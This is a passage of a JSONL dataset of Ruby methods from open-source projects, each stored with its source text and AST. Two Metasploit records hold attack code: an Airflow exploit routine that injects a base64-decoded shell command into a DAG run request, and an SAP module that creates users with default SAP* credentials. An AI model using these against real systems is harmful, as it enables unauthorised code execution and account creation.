type\":\"str\",\"children\":[\"John\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"valid?\"]}]}]}]}","id":"d75fd528-dc19-43c1-b787-64ec60d49cc3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/sap/sap_soap_bapi_user_create1.rb","start_line":22,"raw_source":"def initialize\n    super(\n      'Name' => 'SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation',\n      'Description' => %q{\n          This module makes use of the BAPI_USER_CREATE1 function, through the SOAP\n        /sap/bc/soap/rfc service, for creating/modifying users on a SAP.\n      },\n      'References' => [\n        [ 'URL', 'https://labs.f-secure.com/tools/sap-metasploit-modules/' ]\n      ],\n      'Author' => [\n        'Agnivesh Sathasivam',\n        'nmonkee'\n      ],\n      'License' => MSF_LICENSE,\n      'Notes' => {\n        'Stability' => [CRASH_SAFE],\n        'SideEffects' => [CONFIG_CHANGES],\n        'Reliability' => []\n      }\n    )\n    register_options([\n      Opt::RPORT(8000),\n      OptString.new('CLIENT', [true, 'SAP client', '001']),\n      OptString.new('HttpUsername', [true, 'Username', 'SAP*']),\n      OptString.new('HttpPassword', [true, 'Password', '06071992']),\n      OptString.new('BAPI_FIRST', [true, 'First name', 'John']),\n      OptString.new('BAPI_LAST', [true, 'Last name', 'Doe']),\n      OptString.new('BAPI_PASSWORD', [true, 'Password for the account (Default is msf1234)', 'msf1234']),\n      OptString.new('BAPI_USER', [true, 'Username for the account (Username in upper case only. Default is MSF)', 'MSF'])\n    ])\n  end","complexity_score":11.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module makes use of the BAPI_USER_CREATE1 function, through the SOAP\\n\"]},{\"type\":\"str\",\"children\":[\"        /sap/bc/soap/rfc service, for creating/modifying users on a SAP.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://labs.f-secure.com/tools/sap-metasploit-modules/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Agnivesh Sathasivam\"]},{\"type\":\"str\",\"children\":[\"nmonkee\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CONFIG_CHANGES\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8000]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"CLIENT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"SAP client\"]},{\"type\":\"str\",\"children\":[\"001\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username\"]},{\"type\":\"str\",\"children\":[\"SAP*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password\"]},{\"type\":\"str\",\"children\":[\"06071992\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BAPI_FIRST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"First name\"]},{\"type\":\"str\",\"children\":[\"John\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BAPI_LAST\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Last name\"]},{\"type\":\"str\",\"children\":[\"Doe\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BAPI_PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Password for the account (Default is msf1234)\"]},{\"type\":\"str\",\"children\":[\"msf1234\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"BAPI_USER\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Username for the account (Username in upper case only. Default is MSF)\"]},{\"type\":\"str\",\"children\":[\"MSF\"]}]}]}]}]}]}]}","id":"442d31e4-54c9-4527-9bf0-c9314c203d44"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/changed_path.rb","start_line":26,"raw_source":"def renamed_file?\n        status == :RENAMED\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"renamed_file?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"==\",{\"type\":\"sym\",\"children\":[\"RENAMED\"]}]}]}","id":"66c0c44a-c398-4b77-b4e9-5df4de67b03d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/send.rb","start_line":20,"raw_source":"def on_send(node)\n          return unless node.arguments?\n\n          add_offense(node.loc.selector)\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_send\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"arguments?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"selector\"]}]}]}]}","id":"a022ac7b-e276-4e88-bc75-2c21b84d52f4"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/post_stripper.rb","start_line":21,"raw_source":"def self.run_plugin_strippers(nokogiri_fragment)\n    DiscoursePluginRegistry.post_strippers.each do |stripper|\n      stripper[:block].call(nokogiri_fragment)\n    end\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run_plugin_strippers\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"nokogiri_fragment\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscoursePluginRegistry\"]},\"post_strippers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stripper\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stripper\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"block\"]}]},\"call\",{\"type\":\"lvar\",\"children\":[\"nokogiri_fragment\"]}]}]}]}","id":"c87e8d7a-c372-4cd7-978c-f591d9eee733"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_trace_chunks/redis.rb","start_line":8,"raw_source":"def with_redis\n        Gitlab::Redis::SharedState.with { |redis| yield(redis) }\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"with_redis\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Redis\"]},\"SharedState\"]},\"with\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]}]}]}]}","id":"3e111818-b739-4561-b556-dd7ab7e06b8c"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/command/behavior.rb","start_line":23,"raw_source":"def print_list(base, namespaces)\n            return if namespaces.empty?\n            puts \"#{base.camelize}:\"\n\n            namespaces.each do |namespace|\n              puts(\"  #{namespace}\")\n            end\n\n            puts\n          end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"print_list\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]},{\"type\":\"arg\",\"children\":[\"namespaces\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"camelize\"]}]},{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\"]}]}]}","id":"19f99657-aa17-453d-af56-ab5c6462b215"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/perf/query_limiting_report.rb","start_line":31,"raw_source":"def initialize(options)\n    @options = options\n\n    Gitlab.configure do |config|\n      config.endpoint = 'https://gitlab.com/api/v4'\n      config.private_token = options.fetch(:api_token)\n    end\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@options\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"configure\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"endpoint=\",{\"type\":\"str\",\"children\":[\"https://gitlab.com/api/v4\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"private_token=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"api_token\"]}]}]}]}]}]}]}","id":"04fadd61-8b61-4b31-bfa2-6f8f83c77fcb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/dev/msftidy.rb","start_line":807,"raw_source":"def check_arch\n    if @source =~ /ARCH_X86_64/\n      error('Please don\\'t use the ARCH_X86_64 architecture, use ARCH_X64 instead')\n    end\n  end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_arch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@source\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ARCH_X86_64\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"Please don't use the ARCH_X86_64 architecture, use ARCH_X64 instead\"]}]},null]}]}","id":"0ccc2f8b-0cab-4c39-a01c-22c9c037d6df"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250206143924_add_merge_requests_approval_rules_groups_group_fk.rb","start_line":12,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :merge_requests_approval_rules_groups, column: :group_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"merge_requests_approval_rules_groups\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]}]}]}]}]}]}","id":"178b28b4-ab8e-48c9-af6f-534b20862594"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/remote_storage.rb","start_line":124,"raw_source":"def object_storage_config\n      @object_storage_config ||= ObjectStorage::Config.new(Gitlab.config.backup.upload)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"object_storage_config\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@object_storage_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ObjectStorage\"]},\"Config\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"backup\"]},\"upload\"]}]}]}]}","id":"dc265e77-71a8-4323-8663-cd2b05470b6c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb","start_line":56,"raw_source":"def full_rollback!\n        @children&.each { |c| c.rollback! }\n        @state = :fully_rolledback\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"full_rollback!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@children\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"rollback!\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@state\",{\"type\":\"sym\",\"children\":[\"fully_rolledback\"]}]}]}]}","id":"8a9d0aea-6dbb-46ef-9fda-260cd3c0ec01"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/routing/inspector_test.rb","start_line":450,"raw_source":"def test_no_routes_were_defined\n        output = draw { }\n\n        assert_equal [\n          \"You don't have any routes defined!\",\n          \"\",\n          \"Please add some routes in config/routes.rb.\",\n          \"\",\n          \"For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html.\"\n        ], output\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_routes_were_defined\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"draw\"]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"You don't have any routes defined!\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"Please add some routes in config/routes.rb.\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"For more information about routes, see the Rails guide: https://guides.rubyonrails.org/routing.html.\"]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"37bc8b60-c67c-4bcc-a069-804560d1ed98"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/test_case_test.rb","start_line":275,"raw_source":"def test_assert_changes_with_from_and_to_options_and_wrong_to_value\n    assert_raises Minitest::Assertion do\n      assert_changes \"@object.num\", from: 0, to: 2 do\n        @object.increment\n      end\n    end\n  end","complexity_score":5.73,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_changes_with_from_and_to_options_and_wrong_to_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Minitest\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_changes\",{\"type\":\"str\",\"children\":[\"@object.num\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@object\"]},\"increment\"]}]}]}]}","id":"5b92026b-8e44-4561-82e6-0f02df8fc594"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/jobs/account/contacts_export_job.rb","start_line":42,"raw_source":"def attach_export_file(csv_data)\n    return if csv_data.blank?\n\n    @account.contacts_export.attach(\n      io: StringIO.new(csv_data),\n      filename: \"#{@account.name}_#{@account.id}_contacts.csv\",\n      content_type: 'text/csv'\n    )\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"attach_export_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"csv_data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csv_data\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"contacts_export\"]},\"attach\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StringIO\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"csv_data\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"_contacts.csv\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]}]}]}]}]}]}","id":"d29ff6c9-2bc1-4935-bc6c-0f80a4378d76"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/tabs_counter.rb","start_line":17,"raw_source":"def expect_counter(tab, content)\n        expect(tab).to have_css('[data-test-selector=\"tab-count\"]')\n\n        expect(tab).to have_css('[data-test-selector=\"tab-count\"]', text: \"(#{content})\")\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_counter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tab\"]},{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"tab\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"tab-count\\\"]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"tab\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\"[data-test-selector=\\\"tab-count\\\"]\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]}]}]}","id":"20583a9e-b4f5-48c1-a5b4-c31c58e4c107"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/notifications/settings.rb","start_line":88,"raw_source":"def set_global_option(type, checked)\n        checkbox = page.find \"input[type='checkbox'][data-qa-global-notification-type='#{type}']\"\n        checked ? checkbox.check : checkbox.uncheck\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_global_option\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"checked\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"checkbox\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"input[type='checkbox'][data-qa-global-notification-type='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"']\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checkbox\"]},\"check\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checkbox\"]},\"uncheck\"]}]}]}]}","id":"10c7a894-a9a5-4319-8fe4-36efd5889882"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/apache_airflow_dag_rce.rb","start_line":179,"raw_source":"def create_dag(cmd)\n    cmd = \"echo #{Base64.strict_encode64(cmd)} | base64 -d | sh\"\n    uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs')\n    vprint_status('Creating a new vulnerable DAG...')\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => uri,\n      'ctype' => 'application/json',\n      'data' => JSON.generate({ conf: { message: \"\\\"; #{cmd};#\" } })\n    })\n\n    unless res && res.code == 200\n      fail_with(Failure::PayloadFailed, 'Failed to create DAG.')\n    end\n\n    print_good(\"Successfully created DAG: #{res.get_json_document['message']}\")\n    return res.get_json_document['execution_date']\n  end","complexity_score":25.03,"ast_json":"{\"type\":\"def\",\"children\":[\"create_dag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"strict_encode64\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"str\",\"children\":[\" | base64 -d | sh\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DAG_PATH\"]}]},{\"type\":\"str\",\"children\":[\"dag_runs\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Creating a new vulnerable DAG...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"generate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conf\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\";#\"]}]}]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"PayloadFailed\"]},{\"type\":\"str\",\"children\":[\"Failed to create DAG.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully created DAG: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"[]\",{\"type\":\"str\",\"children\":[\"execution_date\"]}]}]}]}]}","id":"a56afc0c-2ab3-417b-a7dd-e300f3631fce"}
